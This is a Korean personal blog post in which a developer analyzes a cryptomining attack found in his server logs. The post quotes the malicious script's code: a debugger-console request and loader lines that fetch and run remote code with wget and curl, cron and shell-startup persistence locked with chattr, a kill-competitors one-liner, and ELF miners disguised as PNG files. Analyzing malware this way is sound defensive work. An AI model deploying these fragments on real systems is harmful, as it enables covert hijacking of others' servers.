Post

좀비 PC 될 뻔한 썰.txt

암호화폐 채굴 스크립트 분석기
좀비 PC 될 뻔한 썰.txt

Step by step

탐문탐색

요즘 서비스 개발에 조금씩 재미를 찾기 시작해서 백엔드 개발을 시도하고 있다. 그런데 올려놓은 서버에 어느날 이상한 로그를 확인했다.

1
GET /console?__debugger__=yes&cmd=(__import__('requests').get('http://ip:port/logservice.sh').raise_for_status()...

이런 것이 찍혀서 누가 봐도 수상하게 생겼다.

바로 철저한 대비를 하고 파보려고 했다.

스크립트 확인 및 스크립트 간략 분석

1
http://ip:port/logservice.sh

위 곳에 접속하면 해당 파일을 다운받을 수 있다.

추가로 해당 스크립트를 들어가면 의심스러운 코드를 확인할 수 있다.

다음과 같이 부팅 순서에 작업하는 부분이 있었다.

1
2
3
4
5
{ . . . }
bash) add_to_startup "$HOME/.bashrc"
      add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
{ . . . }

다음과 같이 데몬을 작업하는 코드도 있었다.

1
2
3
4
5
6
7
8
9
10
{ . . . }
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
{ . . . }

또 아래와 같은 부분도 있었다.

1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'

위와 같이 특정 프로세스를 종료하는 코드가 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
EXEC="source <(wget -q -O - http://ip:port/logservice.sh || curl -sL http://ip:port/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
   export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && { 
   ARCH=$(uname -m)
   URL=""
   [ "$ARCH" = "x86_64" ] && URL="http://ip:port/silicon64blueprints.png"
   [ "$ARCH" = "aarch64" ] && URL="http://ip:port/siliconarmblueprints.png"
   [ -z "$URL" ] && URL="http://ip:port/silicon64blueprints.png"
   { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
   chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"

추가로 파일도 명시되어 있어 다운받았다.

사진 파일 open fail

해당 파일이 진짜 사진파일인지 확인해보고 싶어서 다운받았는데 위와 같이 열리지 않았다.

*.png 파일의 정체 확인하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@test home % xxd silicon64blueprints.png| head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 30bf 4000 0000 0000  ..>.....0.@.....
00000020: 4000 0000 0000 0000 2062 5700 0000 0000  @....... bW.....
00000030: 0000 0000 4000 3800 0a00 4000 1e00 1d00  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b006 0000 0000 0000 b006 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 0100 0000 0500 0000  ................
00000080: 0010 0000 0000 0000 0010 4000 0000 0000  ..........@.....
00000090: 0010 4000 0000 0000 297f 4400 0000 0000  ..@.....).D.....
root@test home % xxd siliconarmblueprints.png| head 
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 b700 0100 0000 0035 4000 0000 0000  .........5@.....
00000020: 4000 0000 0000 0000 583d 4200 0000 0000  @.......X=B.....
00000030: 0000 0000 4000 3800 0600 4000 1d00 1c00  ....@.8...@.....
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b408 4000 0000 0000 b408 4000 0000 0000  ..@.......@.....
00000070: 0000 0100 0000 0000 0100 0000 0600 0000  ................
00000080: 70fe 4000 0000 0000 70fe 8100 0000 0000  p.@.....p.......
00000090: 70fe 8100 0000 0000 b83c 0100 0000 0000  p........<......
root@test home %

파일 바이너리를 확인해보았다.

파일 앞부분이 시스템 실행파일로 밝혀져 디컴파일하여 분석해보았다.

*.png 파일 본격적으로 까보기

Decompile *.png

해당 파일을 디컴파일한 결과이다.

암호화폐 소프트웨어 사용 부분 해당 부분을 보면 암호화폐 채굴기에 대한 부분도 보인다.

암호화폐 채굴하는 목적의 코드로 의심된다. 해당 스크립트가 성공적으로 통과될 시 부트 타임에 스크립트와 데몬을 끼워놓고 CPU 를 제어하고 사용자 모르게 암호화폐를 지속적으로 채굴하여 공격자에게 전송하는 목적이다.

불특정다수의 서버가 채굴서버로 돌아갈 수 있음을 의미한다.

정리하며

우연찮게 서버에 찍힌 로그를 보고 호기심 반 걱정 반 분석해봤는데 해당 스크립트에 나온 부트 파일 및 데몬, 프로세스 영역 등 접근 가능하고 접근했을만한 부분을 다 탐색해봤다. 아직까진 발견된 이상증세/현상이 없지만 조금씩 더 살펴보고자 한다. 또한 이번 기회로 접근 부분 관련하여 보안을 강화하였다.

This post is licensed under CC BY 4.0 by the author.
If you find any errors, please let me know by comment or email. Thank you.

© Ruffalo. Some rights reserved.

I'm

Using the Chirpy theme for Jekyll.